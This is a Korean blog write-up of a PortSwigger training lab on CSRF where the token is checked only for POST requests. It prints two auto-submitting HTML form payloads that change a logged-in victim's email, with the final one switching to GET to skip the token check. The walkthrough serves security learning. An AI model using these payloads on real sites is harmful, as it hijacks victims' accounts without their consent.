-
[Web Hacking] Portswigger - CSRF where token validation depends on request methodCoding/Hacking & Security 2023. 3. 7. 09:50
기초적인? CSRF 공격을 해보자.
문제 분석
로그인 후 /my-account 페이지에서 email을 변경할 수 있다.
이 부분에 CSRF 공격을 시도할 수 있을것 같다.
Victim에게 CSRF 공격이 포함된 페이지를 전달했을 때 자동으로 그의 email이 변경되도록 해보자.
단, victim이 해당 사이트에 로그인해놓은 상태라는 것을 가정해야 하긴 한다.
목표
Victim이 해당 사이트에 로그인해놓은 상태로 접속하면 자동으로 email이 변경되도록 CSRF를 구성해보자.
그런데 생각해야 할 점이 하나 있다.
사이트의 소스코드를 보면, 변경된 email 값과 함께 CSRF token이 같이 전달되는 모습을 볼 수 있다.
서버에서는 email 변경 요청이 오면 CSRF token을 확인하여 해당 사용자의 요청이 맞는지 확인할 것이다.
이를 어떻게 bypass할 수 있을까.
풀이
기본적인 payload 구성은 다음과 같다.
<html> <form action="https://...생략/my-account/change-email" method="POST"> <input type="hidden" name="email" value="pwned@evil-user.net" /> </form> <script> document.forms[0].submit(); </script> </html>
Victim이 위의 페이지에 접속한다면 어떤 일이 일어나는지 생각해보자.
만약 로그인해놓은 상태라면, /email/change 으로 pwned@evil-user.net이라는 값이 전달되는 것이다.
하지만, 이를 그대로 전달하면 공격이 작동하지 않는다.
그 이유는 바로 CSRF token 때문이다.
저대로 payload를 전달하면 아래와 같은 결과가 나온다.
그런데 사실, CSRF token은 랜덤하게 생성되는 값이기 때문에 우리가 알아낼 수 없다.
따라서 이를 알아내어 email과 함께 전달하는 것은 사실상 불가능하다.
즉, CSRF token의 값을 아예 체크하지 않도록 payload를 구성해야 할 것이다.
이때 post 말고 get method를 이용한다면 서버에서 CSRF token을 체크하지 않는것을 확인할 수 있다.
최종 payload는 아래와 같다.
<html> <form action="https://...생략/my-account/change-email" method="GET"> <input type="hidden" name="email" value="pwned@evil-user.net" /> </form> <script> document.forms[0].submit(); </script> </html>
'Coding > Hacking & Security' 카테고리의 다른 글